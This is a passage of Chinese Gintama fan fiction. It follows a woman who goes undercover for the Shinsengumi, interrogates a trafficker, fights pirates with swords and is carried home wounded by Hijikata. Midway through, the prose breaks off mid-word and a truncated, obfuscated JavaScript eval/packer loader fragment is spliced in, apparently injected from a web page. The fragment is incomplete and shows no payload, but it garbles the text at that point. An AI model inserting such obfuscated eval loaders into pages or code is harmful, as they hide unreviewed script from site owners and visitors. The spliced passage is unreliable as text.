「要是你有当大反派的雄心壮志,我倒还会高看你几分。谁知你就只是个脑袋不灵光的战五渣。」她斜睨山本一眼,又往他身上补了一脚。 她最讨厌就是这种只会欺负弱小的懦夫。 在她的鞋跟即将落到他两腿之间时,土方的声音突然从耳返传来。 『在你把他打死之前,先让他透露些情报出来。』 即使透过第一视觉看不见千茶的表情,但光凭她果断的语气和动作,土方就能确定这个人确实是冲田总悟的好友。 那股只管泄愤的狠劲可说是一模一样。 她轻哼一声回应土方,接着把靴子转了个角度,鞋跟狠狠又往他肚子踹了一脚「给我坐起来。」 山本勉强坐起身来,面容因疼痛和屈辱而扭曲,但被千茶一个眼神瞪过去后,便收起了一切反抗的念头。 「把你知道的都吐出来。」 根据山本的情报,这个组织约有五十人,首领是去年越狱的诈骗犯。几个月前他不知怎么与宇宙海盗搭上线,开始进行拐卖勾当。组织里的成员大多互不相识,唯一的共同点就是缺钱,其中也有少部分像山本这样纯粹仇视女性的人。他们专门盯上在酒吧、夜店打工的女孩,特别是那些看起来经济拮据、又缺乏家人照应的。 对了,她就是个在夜店上班、家里只有两个小孩的倒楣鬼。 『看来你除了和他有私怨,还完全符合上述的条件。』土方若有所思道。 「谢谢你的提醒。」 『宇宙海盗,难道又是春雨吗?』 千茶向面前垂着脑袋正坐的山本传递土方的猜测。 「不是,好像是叫什么千鸟的…」 听到这个名字,千茶眼里闪过一丝精光。 千鸟…这不就是陆奥亡父那个只剩下残余败犬的组织吗? 「千鸟的话,那就好办了。」她像是自言自语般对着传讯设备另一端说道「我在那边有点关系,就算团灭了也应该没关系。」 她语气轻飘飘的,彷佛只是在闲聊,但土方清楚看见山本听到「团灭」二字时,身体不由自主地颤抖了一下。 「刚才那个男人说买家在路上,指的就是千鸟吗?」 山本有点局促地点点头,眼底虽然藏着不忿,但早就没了刚才的气势,深怕她一不高兴又对他动手。 「听说千鸟现在的头目丑得让人一看就想吐,我也想亲眼见识见识呢~」千茶说着,期待着下次见面要怎样打趣陆奥。 『别乱来!』土方的喝止里夹杂着一丝紧张『就算你有后台也别冲动行事,等我们的人到达再说。』 就算她能对付山本这种弱渣,也不代表能单枪匹马闯进一个人数不明的贼窝。死于轻敌,可是件非常不光彩的事。 『你要是闲着没事,不如试着策反这个叫山本的。』他接着提议,生怕她像总悟一样,一旦开始无聊就去闯祸。 千茶思索了一下,虽然她不认为这种看着虚的懦夫还有什么利用价值,但正如她一开始说的,她只是个配合警方办案的良好市民。既然副长大人下来命令,那么她也就只能执行了。 所谓的策反、迫供,名字虽然不同,说到底都只是同一回事:永远离不开鞭子与糖果。 而恰巧,这两样都是她拿手的。 她兴致缺缺地捡起一旁的粗绳,再次坐到地上。 从土方的角度看来,她这举动就如同游戏中途特然暂停主线任务,跳进支线剧情般唐突。他不禁扶额叹息,看来让她担任卧底并非明智之选。 山本困惑地看着她把绳子重新缠在脚踝,一股不祥的预感在心里蔓延。 视线不由自主地落在她的手上。随着粗绳一圈圈缠绕、打结、收紧,那张漂亮的脸蛋依旧神情淡漠,只是静静地绑着绳子。 「你喜欢花吗?」她突然问道,打断了他的思绪。 他猛地一颤,眼神闪避地别过头。 「没...」 「人们总以为花朵脆弱易逝,但有些花却很倔强。宁愿连同花萼整朵掉落,也不愿让人看见自己渐渐凋零。对爱花的人而言,看着她枯萎,又何尝不是一种残忍?」 山本护垂着脑袋,眼神微动。脑海忽然浮现母亲临终前的身影,她用瘦弱的手臂,挤出最后一丝气力拥抱着他,嘱咐他在往后的日子要代替她守护这个家。 她说,山本护的护,是守护的护。 「其实你心里很清楚,你父亲为什么放弃为她继续治疗。因此,你无法责怪你父亲,而是选择把这份痛苦转嫁到别人身上,包括曾劝喻他放手的我,还有其他充满生命力的年轻女性。」她还是像闲聊一样的语气,山本垂着脑袋,眼眶早已红了一片。 「抬起头来,看看那些因为你而受害的女孩子。」千茶的话蛊惑着他抬起脑袋,转向角落,接着凑到他耳边低语「这就是你母亲用尽最后生命教会你的事吗?」 他逃避似的阖上眼睛,却被千茶一把抓住后脑勺的头发,另一只手强行扒开他的眼皮。 「别逃避。那么快便忘了我刚才教你的事了吗?作出任何决定之前,都必须做好承担后果的准备。」 「你知道被卖掉的女孩子面对着怎样的命运吗?」她又问。 动听的声音与其说是恶魔的呢喃,更不如说是神使的审判,一字一句诉说着世间的丑恶。 她不紧不慢地描述着那些令人胆寒的细节,直至全部清晰地刻在他的脑海里,她才将他松开。 她在耳返中听见了土方欲言又止的呼吸声,隐约透露出一丝犹豫。趁着山本还在罪恶感中消沉,她决定和他搭起话来。 「你怎么了?」 他咽了口唾沫,似乎在斟酌着用词。过了好一会儿,他才小心翼翼地问道『你怎么会知道那些事情...知道得那么清楚?』 千茶立刻就明白过来他在误会什么。 「嘛…多看几篇抹布文就知道了。」 『什么是抹布文?』土方问道。 当这个词一说出口,他察觉到周围的队员们都震惊地看着他。土方抬头与他们对视,又重复了一遍问题,但众人面面相觑,却没有一个人敢开口解释。 「晚点给你资源。」回应他的是连线的千茶。 听见她煞有介事地说出「资源」这两个字,他再迟钝也意识到些什么。 『不是,我…』 「我知道你们当魔法师的在这方面比较保守。放心,我会挑选一些比较温和的,让你慢慢了解这个文化。」千茶说。 『你说谁是魔法师…我还没到三十!』 「喔…那么说另一个条件倒是符合了?」 除了千茶,队员们也在心里默默地想着。 『再说与任务无关的事我就宰了你。』 土方的暴言让千茶心里踏实了许多,这便心满意足地回去对付山本了。 至于队员们日后会如何看待他们的副长,那就与她无关了。 山 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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「距离目标地点还有多久?」他焦躁地朝开车的人喊道,眼睛不敢从屏幕上移开半点。 「副长,前面发生了交通意外,这段路都堵住了,所以…」 「通知近藤先生和总悟,让他们立即改走另一条路。」他立即下令,同时把电脑上的影像追踪转移到便携式设备上。 「副长,那我们该怎么办?」 「把车子停到路边,这个范围应该能接收到那边的数据。你们去找间店铺或民宅借地方设置器材。」他一边解开安全带,一边说道「我先去现场。」 说完,他便拿着便携装置冲出车外。 屏幕上,那个男人伸手欲摸千茶的脸,但她敏捷地偏头闪开,镜头也随之晃动。男人不以为意地笑了笑,眼中反而燃起一阵兴奋,转身对山本说「挺有性格的,带她到隔壁房间去,让其他人也看看。」 土方顺着定位指示朝目的地奔去,声音因急促的脚步而微微喘息。 『你先拖住他们,我们很快就到。记住,无论如何都要保护好自己。』他说。 与此同时,收到指示的山本护朝男人点点头,上前搀扶千茶站起来。她刻意踉跄了一下,露出自己被绑着的脚踝。那个男人瞥了他们一眼,给山本吩咐一句,让他解开。 山本弯下腰,替她解开脚踝上的绳子,他的指尖微微颤抖,似是在千茶的「提醒」下,终于意识到自己犯下的错误多么严重。他小心翼翼朝她投去目光,她眼眶发红,怯生生地跟他点点头,丝毫不见刚才揍他时的狠辣。 而那双清澈的眼眸,依旧的目中无人。 他现在几乎可以确认,这次绝对是惹错人了。 山本扶着假装脚麻的千茶,缓慢地穿过狭窄的走廊,来到一间更宽敞的房间。里面几个男人和天人正在喝酒聊天,见千茶进来,纷纷露出不怀好意的笑容。 「哟,山本,这就是你带回来的好货色啊?」一个体格魁梧的男人站了起来。 千茶一眼便认出他是真选组的资料名册里,那个被着重关注的退役职业拳手,外号铁虎。 铁虎踱步到千茶面前,粗糙的手指捏住她的下巴,强迫她抬起头来。 又来了,这已经是今天第三次还是第四次了?这种陈腔滥调的情节,到底是哪个江郎才尽的作者硬塞进来的? 熟人就算了,这些一看就知道上完厕所不会洗手的家伙,到底是谁允许他们乱摸她的脸的? 「这张脸蛋确实不错」铁虎咧嘴一笑,手指滑过她的脸颊。 「身材也挺好的。」一个天人插嘴道,目光肆无忌惮地在千茶身上游移「拿去拍卖肯定能赚个够。」 话语落下,房间里响起一阵低沉的笑声。千茶低着头,充耳不闻,只管默默盘算在场的人数和位置。 房间里连同外面守着的,大约有三十人。除了铁虎外,还有几个魁梧的打手,他们腰间都别着武士刀,天人那边则配备各式冷兵器,但没见到热兵器。 她谨慎地记下每个人的位置,同时观察着房间的布局,在脑海中计划最坏情况下的逃生路线。 「要不然卖出去之前,本大爷先和你好好玩玩吧。」铁虎说着,刚想把脸凑上前,却被她不耐烦地避开。就在这个时候,她身上的摄像机因动作而掉了出来。 『糟糕。』 房间里的气氛瞬间凝重起来,所有人的目光都聚焦在那个掉落在地上的小小设备上。 「你这个臭婊子!」铁虎怒吼一声,一脚踩碎了那个小小的摄录机。眼中的杀意瞬间取代了欲望一把拉着千茶的衣领,让她不得不与他对视。 「既然你是警察的人,那就别想活着离开这里了。」 『千!』 『喂!我…』 随着装置破裂,土方的声音戛然而止,她与外界的联系彻底断开。 16. 人力猫车并未设有禁烟车厢 如果先前和山本护的那段小插曲只是支线任务,那么眼前的铁虎无疑就是这一章的最终Boss。 虽然她一向喜欢跟土方对着干,然后看他着急的样子下饭,但这次她打算乖乖听话,静候骑士来营救被恶龙掳走的自己。 只可惜,事与愿违。 面前的猛兽显然无意让她活着离开。 千茶屏住呼吸,但当男人的热气喷在她脸上时,她仍感到一阵反胃。她宿醉从来都不会吐,难道第一次就要献给这个畜牲吗? 只能说,她很庆幸出门前路过厨房,顺手拿了一件小东西。 她挣脱开松散的绳索,从手袖中抽出一把剔骨刀。在众人还未反应之际,刀刃已划破了铁虎右手的经脉,鲜血在灯光下形成一道暗红色的弧线。她顺势一个侧踢将最近的人踹倒,乘机夺去了他手上的打刀,把她的剔骨刀收在腰间。 获得新武器:便宜的二手打刀。 第一刀砍在膝窝,让对手失去平衡。 第二、三刀是连续的佯攻,让对手暴露自己的弱点和惯性。 最后一刀,则是直直地往要害劈去。 这种打法对专业的格斗家也许不管用,但对于那些杂鱼,却是绰绰有余。 街头混混跟□□的差距,就在于前者太容易被挑拨情绪。面对未知实力的对手,一旦失去冷静,就离死亡不远了。 直到看着同伙一个个倒下,剩下的人才反应过来,带着刀的的纷纷抽刀朝她冲去。在她从容地避着刀刃之际,铁虎戴上满刺的手指虎,往她挥拳,她侧身闪开,然后一刀砍在手指虎上。 太久没拿刀了,手感有些生疏。 自从离开擂台后,她就不曾执过刀了。相比这些随处可见的废铁,她更怀念自己那把精致漂亮的家伙,要知道那可是她念了很久才让陆奥松口给她弄来的。 金属的振荡传向他的指关节,让他下意识松拳,手指虎亦从他指间滑落。 千茶把握时机再次举刀划向他的手腕,手指虎掉落的同时,也带走了他的大拇指。 血溅湿了地板和墙壁。他惊恐地看着自己的断指,发出了嘶哑的喘息声。 「你打的擂台该不会是小学时的相扑体验吧?」她的讽刺让铁虎脸色更加难看。 她甩掉刀上的血珠,朝不知所措的山本护使了个眼色,示意他找个地方躲好。 既然答应了总悟要留活口,那么在混战开始前,还是先留下一两个听话的给警察交差,免得待会一不小心下手太重,真的弄了个团灭。 铁虎的伤势不但没有阻止其他人的进攻,反而激起了他们的怒火。最先朝她冲过来的是刚才坐在人群中的领头人,看来他与铁虎关系还不错。 她俐落地闪过挥来的刀刃,同时用刀柄精准重击他的后颈,趁他失力之际,刀背一挑,迅速夺下他手中的武士刀。 这把刀的手感比刚才那把要好一点。 就在此时,铁虎也从丧指中恢复过来,改用另一只手进攻,拳头从千茶侧面袭来。她本能地向后翻身闪避,让身体自然反应。有时候,肌肉记忆比大脑更可靠。 刀锋划过空气,发出如同指甲刮黑板般的尖锐声响,直刺入他们耳中。众人下意识地眯起眼睛,她抓住这瞬间的破绽,一刀解决了挡路的人,随即将刀尖直指铁虎的咽喉,迫使他不断后退,直到背抵上墙壁。 「你刚才不是说要和我好好玩玩吗?这么快就垂头丧气,可满足不了如花似玉的少女啊。」她淡淡说道,手中的刀在灯光下闪烁着寒芒。 刀尖在男人的脖子上留下浅浅的红痕,铁虎用受伤的手握住刀尖,鲜血从手掌涌出。 这只手恐怕是废了。 可是千茶终于觉得不对劲。 以他发力的方式看来,他牺牲这只手并非想推开她的刀,而是想紧紧抓住它不放。 她立即放开刀柄,但就在这时,一柄木椅从后方砸来,狠狠击中她的后背,让她踉跄几步。 下意识地回头,海盗的刀已劈向她的后腰。见伤处并非致命部位,她便顺势旋转身体,以扩大伤口换取更佳的反击角度。 她掏出腰间的剔骨刀,一刀抹了他的脖子。 就这样,她又得到了一把不太好用的打刀。 只有弱者才会抱怨环境,强者则是喜欢抱怨弱者。 她不太灵活地挥着刀,劈向铁虎的大腿动脉。 「啊…抱歉,我还没用过那么便宜的刀,一下子控制不了力度,你忍一忍吧。」她一脸歉意地看向铁虎。 男人挨着墙壁滑落,倒在自己的血里,再也无力回应一句。 她接着转向刚才使出组合技的海盗和领头。海盗已经在地上躺着了,而领头看着四周的伤者,一时间进退两难。 她每一刀都下手极重,却又巧妙地避开了致命位置。 整个房间充斥着厚重的呼吸声和痛苦的低鸣。他身后的搭档和手下此时竟无一人上前护卫,只顾着把他当作挡箭牌,好保全自己的性命。 「声东击西吗?挺不错呢。」她伸手摸了摸后腰,换来的是一手鲜血。 幸好她穿的是深色衣服,不仔细看的话看不出那些血迹属于谁。 身后此起彼落的惨叫传进她的耳膜,她不悦地揉了揉耳朵「小声点,我在宿醉,头很晕。」 她这句就像在碾碎男人们的自尊心。 抱怨结束,她便扬起刀指向那群海盗。 「先说好,我跟你们前团长的女儿可是会一起去咖啡店喝下午茶的关系,我替她清理门户,她只会感谢我。」 听见她提起陆奥,海盗们的脸色更加难看。就在他们正要一拥而上时,头顶的铁窗突然掉了窗框,一道黑影破窗而入。 那道身影在半空中俐落地翻身,然后稳稳落地。 「你来太迟了,骑士大人。公主殿下已经屠龙成功,还捡到新装备了呢。」千茶懒洋洋地说道。 土方的手半按在了刀柄上,却因千茶一言稍稍停顿,当他看清房间的状况时,表情顿时凝固。 这是什么鬼…?! 房间里横七竖八地躺着受伤的海盗和人贩子,山本护缩在沙发的角落,抱着脑袋。她稳稳地站在房间中央,看清他的脸后便把刀垂下来,以刀尖撑着地,松懈的姿态透露着她的迎刃有余。 即便他们是同伙,仍然让他毛骨悚然。 糟糕透了。 这次的报告应该如何解释? 总不能写他们找了个陪酒女当外援,然后让她一个女孩子潜入,再一炮将主脑攻破。 都怪这些废物太没用才会让真选组的处境那么难堪。 「一个小姑娘就把你们打得那么狼狈,你们这种废物还敢出来混?滚回家乡种地算了。」土方的刀尖直指那群海盗,眼中迸发出无愧魔鬼之名的凶狠。 千茶看热闹似的吹了个口哨「说得好!十四!」 土方瞥了她一眼,脑子彷佛出现了幻痛「闭嘴吧你。」 亏他还徒步跑了两公里过来。 「你是谁?」前头的海盗喊道。 「真选组副长土方十四郎。外面已经被我们真选组包围了。乖乖束手就擒,还是跟地上这…这家伙一样,自己选吧。」 海盗们面面相觑,不知道是因为魔鬼副长的名号,还是地上狰狞的肉块吓人,他们最终向放下武器投了降。 土方用着千茶不知从哪里找来的粗绳,以及自带的手铐把还能动的人都绑了起来。她嫌他们的悲鸣吵耳,便在他们身上割了些碎布来塞住他们的嘴。 至于那些半死不活的,只能等救护车来载走。毕竟伤得这么重,想逃也逃不了。 不得不说,这种能精准控伤的刀法,他还是第一次见。 土方打量着她,她解下松散的马尾,任由头发散在肩背,和服的胸腹处沾着明显不属于她的血液。 明明肮脏至极,穿在她身上却像用高级染料染出来的上品。 千茶嫌弃地把染红的头绳扔掉,擡头便和他对上视线。 「怎么了?」 他就像偷吃糖果被捉到的小孩,心虚的移开视线。 「你没事吧?」 「有点宿醉。」 老实说她不太想在他面前承认。 「我昨天就让你别喝了,那时候你是怎样说的?」 她抬手打断他的作法,疲倦地揉了揉太阳穴「好了老妈,我脑子已经够晕了,别再碎碎念了。」 土方瞥了她一眼,心情无比复杂。 他现在才察觉到,他们好像从来都没了解过千是什么人。 他们只知道她营商的外祖家是个没落的武家,而千就是个样样精通的富家少爷。谁能想到她的性别是假的,连名字也是编的。 他们也是直到最近才知道她的本名,除此之外的事她几乎只字不提。 凭空出现在他们面前,展现出远超预期的实力。 按着现场的痕迹估计,她的剑术水平至少能和总悟不相伯仲,反正绝不是什么闲来练习能达到的水准。 若土方仍是个乡间混混,也许还会为遇到强大的对手热血沸腾,可是现在的他是效忠幕府的武士,举足轻重的真选组副局长。 他不能放过任何一个有可能对江户造成影响的人。就算她没有敌意,单凭这份实力,他也不得不将她列入监视的对象。 更莫说她有个参与过攘夷战争的大哥。 「我真是小看你了。」他自嘲道。 千茶凝视着那双深邃的眼眸,嘴角微微上扬,彷佛看穿了他心中所想。 「放心吧,我们的立场没有冲突。」她安抚似地说。 土方没有回应,只是默默地点了一支烟。 无论是真话还是谎言,刀戈相向之前,粉饰太平是最好的选择。 他垂下眼睛,视线落在她扔在地上的刀。直到门外传来吵杂的脚步声,他才回过神来。 他脱下自己的外套,扔给她。 「盖住。」 外行人也许看不出来,可是像他们这种习惯浴血的,透过血液喷洒的方向,一眼便能看出她身上的血是怎样来的。 这次的案件,只能以真选组副长独身闯进敌阵,成功营救人质并剿灭海盗团的名义记录在案。只有这样才能守着她的名声,同时维护真选组的尊严。 就算在队员面前,也不能露出破绽。 千茶接过外套,披在身上,他的外套比她整整大了一圈。领口位置略带湿润,应该是他赶来时出的汗。没什么汗味,倒是烟草的气息浓得很。 「烟味好臭。」她小声抱怨道。 「嫌弃的话,你就想想怎和我解释身上的血是怎弄来的。」 「刚刚有只穿着衣服的猫来帮忙了,这些都是牠干的。」千茶随口跑着火车,同时把外套裹得更紧。 土方敷衍地看了她一眼「喔,戴帽子穿着长靴那种对吧。」 她摇摇头「穿魔物护具那种。」 「你当我傻子吗?要是有艾露猫在,你早就没了宿醉的debuff了吧!」 「还挺清楚嘛。」 相对于烟草味的外套,沾满了不明血液的和服更让她难受。血迹开始凝固,布料黏在身上的触感简直令人作呕。 她打量了一下外套的长度,发现刚好能遮住大半个身子。 也许可以直接脱掉这件令人不适的衣服,改穿这件虽然有些烟味但至少干净的外套。 迷你裙不也是这样吗? 想到这里,她的手指缓缓移向衣领,准备解开那因战斗略松散的布料。 土方看到她的动作,很快便意识到她想做什么,连忙伸手制止。 「喂,你在干什么!」 「脱掉这身脏衣服。」千茶皱了皱眉「反正你的外套够遮身的。」 「你疯了吗?这里全部都是男的!」 千茶扫了一眼被五花大绑的海盗们,他们立刻知趣地闭上眼。 「要是你会觉得害羞的话,那我只脱外衣。」 土方眼角抽搐了一下,这个人是听不懂人话吗? 「都说不行了。」他沉着脸,一把将她拉到面前,手指迅速在扣子间穿梭。即使千茶想挣扎,他也没给她这个机会。 他替她把外套的扣子全都扣好,从领口一直扣到下摆,直到确保她全身都包裹得严实。 「就这样。」他说着,往后退了一步,脸上依然严肃,但眼神中透露着一丝不自在。 「魔法师就是魔法师。」她恨铁不成钢地看了他一眼,动了动肩膀,然后在土方警惕的注视下,把手臂从衣袖伸了出来。 此时,门外的脚步声越来越近,他没心思再和千茶纠缠,警惕地提起刀,指向大门。 门被工具撞开,前来的是由冲田总悟带领的一番队。他们在门外解决了来增援的海盗,花了一点时间,终走到他们所在的房间。 有了一番队开路,其余的队员们鱼贯而入,其他小队在和土方汇报后,熟练地分着工处理现场。 「那些疑犯我会亲自审问,你们先把他们带回去。 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「唔,不太好呢,我这种弱质纤纤的女孩子怎么可能打得过冲田大人这样的少年天才。」千茶说着,拉起和服的衣?坐到地上。 「我的腿被绑太久了,还有一点麻,要是你们还在忙,就不用管我了,我自己坐一下就好。」 她装模作样的姿态看几次都觉得滑稽,冲田轻笑一声,捏起外套的衣角擦拭刀身「那就等你休养好再说吧。」 远处传来了一阵杂乱的声响,几个队员快步朝冲田跑去,千茶隐约能听见他们提到「有人逃走了」之类的话。冲田跟土方喊了声,这便去和队员会合,继续处理正事。 冲田远去后,土方低头看向一脸无辜的千茶,那张人畜无害的脸在无声提醒着他未来还有份棘手的报告等着他。 想到这里,他深深吸了最后一口烟,将烧尽的烟头抛到地面踩熄。 「行了,你先回去休息吧。」他说着,朝她伸了手,让她可以借力起来。 千茶只是静静地注盯他看,身体丝毫不动。 「土方先生,你的手上烟味也很重。」 土方眉头一皱,无声地收回手「那你爱坐多久坐多久。」 她默默垂下脑袋,听着他的脚步声越来越远,低头望着藏在衣袖里的双手,满布鲜红。 血迹已经干涸,却像是烙印般深入掌心的纹路。她用力在黑色外套上擦拭,但指甲缝里的鲜红却始终挥不去。 脏得让人反胃。 她合上眼睛,调整呼吸,迫着自己收起那些莫明其妙的情绪。 这是她自己选的路,可不能抱怨。 半晌,她才撑着膝盖,勉强站起来。也许是起得太快,脑袋一阵晕眩。 这就是黑市擂台上大名鼎鼎的白天狗:高攻低防、血条短+自带debuff的玻璃炮。 就在她脚下一软,朝着前方倾倒之际,一只有力的手臂将她拉了起来。 是土方。 他不知何时折返回来,正紧紧捉着她的手臂。 「别倒在这里。」他说。 他从刚才就一直在留意着她的情况,明明早就体力透支却还在死撑,平常的死缠难打到哪里去了? 土方叹着气,小心翼翼地扶起她,往门口的方向小步走着。 千茶靠在他的手臂上,嘴角带着一丝浅笑「你扶伤者的技巧进步了呢。」 回想起初见那天,他也是这样扶着精疲力尽的她回家。 她的身高比起当时没长多少,现在学会了穿高跟鞋,看着倒是高了不少。 「要是你不介意的话,可以改为背着我吗?我腰上有伤,这样会铬到。」 土方一顿。她的声音依旧轻飘飘的,眼神却透露着一丝疲惫。 「这种事你怎么不早说?伤得很重吗?」 「我也不清楚,毕竟我自己看不到。」 他无法反驳,只能按她说的弯下腰让她趴上来。 千茶靠在他背上,调整了一下姿势,腰部传来刺痛更明显了。刚才肾上腺素飙高的时候倒是没注意,现在冷静下来,身体的反应也跟上来了。 「你最好别耍花样。」他警告道,双手握拳托住她的膝窝。千茶枕着他的背,熟悉的烟草味似有若无地飘进鼻腔,让人有些昏昏欲睡。 找个机会让他换个牌子吧。 「土方先生,你身上有酒吗?」 「你不是宿醉吗,还想喝酒?」他难以置信地问道,声音里带着些许无奈「这种时候就别想着喝酒了。」 「那么烟分我一根。」 「你不是说烟味很臭吗?」 「但是现在忽然有点想抽。」 「没了,最后根支在我这里。」他不知道什么时候又给自己续上了。 「那就分我。」她贴在土方的背上,伸手去抢他嘴里的烟。 土方偏过头避开,但他几乎整个人都被她固定了,最终还是徒劳无功。 纤细的手指夹着烟,轻吐出一口白雾,微凉的气息不经意地扑在他耳后,惹得他不由得一颤。 「好臭。」她皱了皱眉,却口嫌体直地继续抽起来「下次换个好点的牌子吧。」 「你要是还有力气耍嘴皮子,那我就放你下来自己走。」 千茶啧了一声,像是故意作对似的把头搁在他的肩上「我可是伤患呢,副长先生。」 土方冷哼一声,但没再说什么,只是默默地继续向前走。 「肩膀变宽了。」 「少说废话。」 「你走那么快我会想吐的,要不然你还是帮我叫辆猫车吧。」 「我上哪给你找两只艾露猫?!」 「要不然你学猫喵几声给我听也行,十四猫。」 「谁是什么十四猫!」 「别这么凶嘛,」千茶打了个呵欠,声音已经有些含糊不清「艾露猫可是很温顺的。」 她用没拿着烟的手摸了摸他的头发「十四猫乖…」 土方的眉头抽动了几下,尽力压下把她扔下来的冲动。要不是知道她身上受了伤,他绝对会把她摔在地上痛揍一顿。 谁管她是男是女。 反正她也不在意。 眼看她又想摸他的头发,土方闪头避开,险些把她甩下来。千茶不满地嘟囔了一声,整个人的重量都压在了他的背上。 她趴在他肩上吸着抢回来的香烟,直至眼皮再台不起。 17. 企鹅群中心的温度可高达37度 最先察觉到千茶晕了过去的人是近藤,他安顿好受害人后便赶来查看他们那边的状况。当时土方正背着她走出工厂,这就和近藤迎面碰上了。 女孩子柔软的身躯紧贴着他的背部,手臂环绕在他的颈脖,灼热的体温透过衣物传来,这种过于亲密的接触让他感到一阵不自在。 「妳别整个人压上来,重死了……把背给我挺直!」他调整着姿势,试图在腹背之间腾出些空隙。 「别这麽冷漠嘛,十四,以前我们不是也常这样的吗。」她把下巴搁在他的肩头,软绵绵地说着,语气满是撒娇的意味。 「不要用那种语气跟我说话!」 即便被人人畏惧的鬼之副长怒吼着,仍然毫无收敛之意。 千茶凑近他耳边,温热的气息拂过他的耳廓,像是有话要说,却欲言又止,最后只是朝他吐了口烟。 就在土方要发火之际,他感到肩上的重量骤然加重。还没来得及细想,就看见近藤朝他们跑来。 「十四、千,你们这边没遇到什麽麻烦吧?」 「最大的麻烦就是这傢伙。」土方说,侧侧脖子,向他示意着背上的人。 近藤没理会他的投诉,爽朗地笑了起来「别这样说嘛,这次也是全靠千,我们的行动才会那麽顺利。辛苦你了,千。」 毫无反应。 「千?」近藤察觉到异状,立即绕到她身侧。 千茶瘫软地趴着土方的背上,脸色苍白,两颊却透着不自然的红晕。他伸手探向她的额头,烫得灼手。 「糟糕,她在发烧…十四,快送她去医院!」 刚才明明还在和他闹来着,怎麽突然就倒下了呢? 近藤朝旁边的警车挥了挥手,车窗缓缓摇下,冲田把车停到他们面前。 「怎麽了,近藤先生?」 「总悟!快点载我们去医院!」近藤拉开后座的门,和土方一起将千茶扶进后座,然后打开了副驾的门,自己坐了进去。 「……近藤先生,你的手上是什麽?」 顺着冲田的视线低头,他这才注意到手心处血红的溼润。 「十四…」他举着手伸到后座给土方看。 「该死的…」 土方让千茶枕着他的大腿,手掌隔着衣服,轻轻探了下她的腰间。确认伤口位置后,他扯下脖子上的领巾,紧紧按住伤处,深怕她继续失血。 在近藤的催促下,冲田发动了车子。他瞥了一眼后座的千茶,陷入纠结。 她答应这次行动的前提,是冲田总悟要运用职权,抹去「浅井千茶」存在的痕迹。若现在送她去医院,就必定会留下档案记录。 但现在她不仅发着高烧,身上还有程度不明的伤。若是伤势严重,再拖下去恐怕会有生命危险。冲田透过后视镜看着另外两人紧张的神情,咬了咬牙,转了个方向。 警车在马路上疾驰,土方和近藤的注意力一直落在千茶身上,直到车子在屯所前停了下来。 「总悟,不是让你开到医院吗?」 「你是忘记我们屯所有队医吗?」 听到这句话,原本想要责备他不听指令的土方和近藤顿时冷静下来。 哦,对了,真选组本来就有队医。 平时他们练习或执行任务时受伤,几乎都是由队医诊治,很少特地去医院。 「报告里不能提起把一般市民捲了进来对吧。」冲田淡淡地说着,下车绕去开后座的门「那就先让队医检查,如果真有什麽不妥再叫救护车。反正屯所离医院不远,很快就能赶过去。」 心思细密的考量听得其馀两人一愣,他们这才发现原来冲田总悟也懂得从真选组的立场去思考问题。 权衡利弊下,近藤终是松了口。 「那就按总悟说的去办。」 = 「放心吧,她没什麽大碍。」 医生从房间出来,冲田和近藤立即凑上前去。土方正在和下属交代后续工作,见状便随口找了个藉口,让对方先回去休息,明早再继续商讨。 替她处理好伤口后,医生又给她打了瓶点滴。他说,千茶的伤口很乾淨,并没有感染的迹象,只要后续护理妥当便无大碍了。至于发烧,大概是体力透支加上宿醉,导致有些脱水,虽然点滴能暂时缓解症状,但她醒来后还是得补充足够的水分。 他还强烈建议他们让千茶暂时戒酒。 这倒是把他们难倒了。 好在她身上有伤,短期内不能回Smile上班,这样至少能让她少个喝酒的藉口。伤口的话,看来只能让她在康復前暂时留在屯所了。 虽然有些不便,但她毕竟是为了帮真选组破案才受伤的,若是现在撒手不管也太没人性了。 他们请来了某位新婚队员的妻子和妹妹,帮忙替她擦身换衣。土方找出几件自己的旧衣服给她换上,还让出房间给她休息。 总觉得这样他的心会好受一点。 医生离开后,他们回到土方的房间。千茶静静地躺在从仓库找来的新床铺上,身上盖着一条厚实的冬被,手背上插着点滴。 精緻而脆弱,恍如童话故事里沉睡的公主殿下。只不过这位急性子的公主没等到王子的一吻,便先一步自行甦醒了。 「千?你醒了?」 千茶半睡半醒间睁开了眼,迷迷糊糊地看着凑上来的三人「替我…」 她的声音轻得让人难以听清后面的字,近藤立刻把耳朵靠在她唇边「说吧,我什麽都答应你!」 「替我卸妆…」 气氛霎时冷了下来,三人面面相觑。 「你们知道怎样卸妆吗?」近藤犹豫地看着土方和冲田。 「怎可能知道?」土方说,瞥了一眼那个再度陷入沉睡的女孩子,叹了口气「真是的,光给人找麻烦。」 话是这样说,但看见她没什麽大碍,还能跟他们扯无关痛痒的事,心倒是轻松了不少。 在这个时间点,刚才过来帮忙的女孩子们应该也到家了,实在不好让她们再走一趟,再说卸妆这点事也非像更衣一样得由女性动手,只是他们缺乏这方面的知识罢了。 「要不然近藤先生打电话给阿妙小姐问问看。」冲田提议道,不过很快就被驳回了。 「怎可能!这个点打去问这种问题,要是被阿妙小姐误会了怎麽办?!」 「那麽…」 他接下来的话被敲门声打断了。 「副长,是我!」山崎的声音从门外传来。 土方把门开成一条小缝,只把脑袋挤出来,整个身体挡住门口,以免被他看见里面的千茶。 「什麽事?」 山崎本来是想跟他彙报千鸟那边的最新情报,但他的上司却是一脸心不在焉。 「那个…副长…」 「山崎,你以前穿过女装对吧?」 他点点头,忽然有种不太好的预感。 「你知道怎样卸妆吗?」 山崎愣了一下,讪笑着摸了摸脑袋「懂一点。」 土方满意地点点头,侧身让出门缝。 「进来。」 山崎踏进房间,就看到在床上熟睡的女孩子,视线从那张漂亮点脸蛋移向手上连着的点滴瓶。 「这是茶茶小姐?她没事吧?」 「队医看过了,说休息一下就没什麽大碍。」近藤说明道「她刚才让我们帮忙卸妆,不过我们几个哪会这些,你懂的话那就帮大忙了。」 作为队里的监察,山崎退深知有些事最好不要过问。 过了一阵,山崎捧着一袋化妆品回来。 局长忙着和上头汇报,队长则说要去一趟便利店,就只剩下房间的主人在这裏等着他。 她的伤在后腰,因此她只能一直维持着侧睡的姿势,爲了让山崎更好操作,土方按照他的指示帮忙将她扶起。 浑身无力的千茶软软地靠在土方的臂间,他虽然不太自在,可是现在就只能这样。 到街上随便访问几个打工仔,肯定没一个会说自己喜欢待在直属上司的房间里,更别说上司还搂着个女孩子。 